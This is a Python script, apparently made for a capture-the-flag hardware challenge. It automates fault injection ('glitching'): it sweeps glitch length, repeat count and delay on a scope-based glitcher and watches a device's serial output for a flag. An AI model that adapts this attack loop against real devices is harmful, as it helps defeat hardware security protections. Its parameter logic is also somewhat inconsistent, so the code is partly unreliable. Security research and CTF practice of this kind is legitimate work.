import serial import time import sys import os from tabulate import tabulate from scope import Scope from collections import deque # Serial port settings SERIAL_PORT = "/dev/ttyUSB0" BAUD_RATE = 115200 TIMEOUT = 2 # Glitch configuration limits INCREMENT_LEN = 1 LOWER_GLITCH_LEN = 41 UPPER_GLITCH_LEN = 60 INCREMENT_REPEAT = 1 LOWER_GLITCH_REPEAT = 1 UPPER_GLITCH_REPEAT = 30 INCREMENT_DELAY = 5 LOWER_DELAY_TIME = 0 UPPER_DELAY_TIME = 30 message_history = deque(maxlen=20) def restartDeviceAndChall(): s.io.add(0, 0, delay=20000000) s.io.add(0, 1, delay=20000000) s.io.upload() s.trigger() time.sleep(5) s.io.add(1, 1, delay=30000000) s.io.add(1, 0, delay=30000000) s.io.upload() s.trigger() time.sleep(5) def restartChall(): s.io.add(1, 1, delay=30000000) s.io.add(1, 0, delay=30000000) s.io.upload() s.trigger() time.sleep(5) def clear_console(): os.system('cls' if os.name == 'nt' else 'clear') def store_message(message): message_history.append(message) def print_info(message): store_message(f"[INFO] {message}") def print_warning(message): store_message(f"[WARNING] {message}") def print_error(message): store_message(f"[ERROR] {message}") def print_last_x_messages(x): # Ensure we print only the last 'x' messages, or all if less than x for msg in list(message_history)[-x:]: print(msg) def format_elapsed_time(seconds): days = seconds // (24 * 3600) hours = (seconds % (24 * 3600)) // 3600 minutes = (seconds % 3600) // 60 seconds = seconds % 60 return f"{int(days)}d {int(hours)}h {int(minutes)}m {int(seconds)}s" def print_table( glitch_len, trigger_repeats, delay_time, elapsed_time): headers = ["Glitch Len", "Repeats", "Delay", "Elapsed Time"] data = [[f"{glitch_len} / {UPPER_GLITCH_LEN}", f"{trigger_repeats} / {UPPER_GLITCH_REPEAT}", f"{delay_time} / {UPPER_DELAY_TIME}", elapsed_time]] clear_console() print_banner() print(tabulate(data, headers=headers, tablefmt="fancy_grid")) def connect_serial(): try: ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=TIMEOUT) print_info("Connected to serial port.") time.sleep(1) ser.flushInput() version_info = ser.readline().decode("utf-8", errors="ignore").strip() if version_info: print_info(f"Connected to version: {version_info}") else: print_warning("No version information received. Device might be unresponsive.") return ser except serial.SerialException as e: print_error(f"Could not open serial port {SERIAL_PORT}: {e}") sys.exit(1) def read_serial(): global glitch_len, trigger_repeats, delay_time global UPPER_GLITCH_LEN, LOWER_GLITCH_LEN, INCREMENT_LEN global UPPER_GLITCH_REPEAT, LOWER_GLITCH_REPEAT, INCREMENT_REPEAT global UPPER_DELAY_TIME, LOWER_DELAY_TIME, INCREMENT_DELAY glitch_len = LOWER_GLITCH_LEN trigger_repeats = LOWER_GLITCH_REPEAT delay_time = LOWER_DELAY_TIME start_time = time.time() last_restart_time = time.time() restart_interval = 600 # 600 secs = 10 min ser = connect_serial() print_info("Restarting device and challenge") #restartDeviceAndChall() while True: cycle_start_time = time.time() line = "" while time.time() - cycle_start_time < TIMEOUT: if ser.in_waiting > 0: char = ser.read().decode("utf-8", errors="ignore") line += char if char == '\n': break if line: line = line.strip() print_info(f"Received data: {line}") line_lower = line.lower() if "ctf" in line_lower: print_info(f"Flag: {line}") print_warning("Received 'ctf', exiting...") print_table(glitch_len, trigger_repeats, delay_time, elapsed_time) print_last_x_messages(10) sys.exit() elif "starting challenge" in line_lower: print_info("Detected 'Starting Challenge'. Resetting glitch repeat count.") if (glitch_len + trigger_repeats) % 2 == 0: #UPPER_GLITCH_REPEAT = trigger_repeats trigger_repeats -= INCREMENT_REPEAT glitch_len += INCREMENT_LEN else: UPPER_GLITCH_LEN = glitch_len glitch_len -= INCREMENT_LEN trigger_repeats += INCREMENT_REPEAT elif "hold" in line_lower: print_info("Detected 'Hold'. Restarting Challenge.") #restartChall() else: execute_scope_script(glitch_len, trigger_repeats, delay_time) # 1. Increment delay time first if delay_time < UPPER_DELAY_TIME: delay_time += INCREMENT_DELAY else: delay_time = LOWER_DELAY_TIME # Reset delay time # 2. Alternate between glitch_len and trigger_repeats when delay resets if (glitch_len + trigger_repeats) % 2 == 0: if glitch_len < UPPER_GLITCH_LEN: glitch_len += INCREMENT_LEN print_info(f"Incrementing glitch length: {glitch_len}") elif (glitch_len > UPPER_GLITCH_LEN): UPPER_GLITCH_LEN += INCREMENT_LEN else: glitch_len = LOWER_GLITCH_LEN # Reset glitch length trigger_repeats += INCREMENT_REPEAT # Increment trigger repeats print_info(f"Glitch length reset. Incrementing trigger repeats: {trigger_repeats}") else: if trigger_repeats < UPPER_GLITCH_REPEAT: trigger_repeats += INCREMENT_REPEAT print_info(f"Incrementing trigger repeats: {trigger_repeats}") else: if(glitch_len == UPPER_GLITCH_LEN): trigger_repeats = LOWER_GLITCH_REPEAT # Reset trigger repeats else: trigger_repeats = LOWER_GLITCH_REPEAT glitch_len += INCREMENT_LEN # Increment glitch length print_info(f"Trigger repeats reset. Incrementing glitch length: {glitch_len}") elapsed_time = format_elapsed_time(time.time() - start_time) print_table(glitch_len, trigger_repeats, delay_time, elapsed_time) # To print the last 3 messages print_last_x_messages(10) if time.time() - last_restart_time >= restart_interval: print_info(f"10 min mark. Setting glitch length: 80 and restarting device") UPPER_GLITCH_LEN = 80 #restartDeviceAndChall() last_restart_time = time.time() def execute_scope_script(glitch_len, trigger_repeats, delay): s.glitch.repeat = glitch_len s.glitch.ext_offset = delay for _ in range(trigger_repeats): s.trigger() def print_banner(): print(" ___ _ _ _ _ _ _ ") print(" / __| (_) |_ __| |_ ___ ___ ___ _ __ __ _| |_(_)__ ") print(" | (_ | | | _/ _| ' \\___/ _ \\___| ' \\/ _` | _| / _|") print(" \\___|_|_|\\__\\__|_||_| \\___/ |_|_|_\\__,_|\\__|_\\__|") if __name__ == "__main__": print_info("Starting Program") s = Scope() read_serial()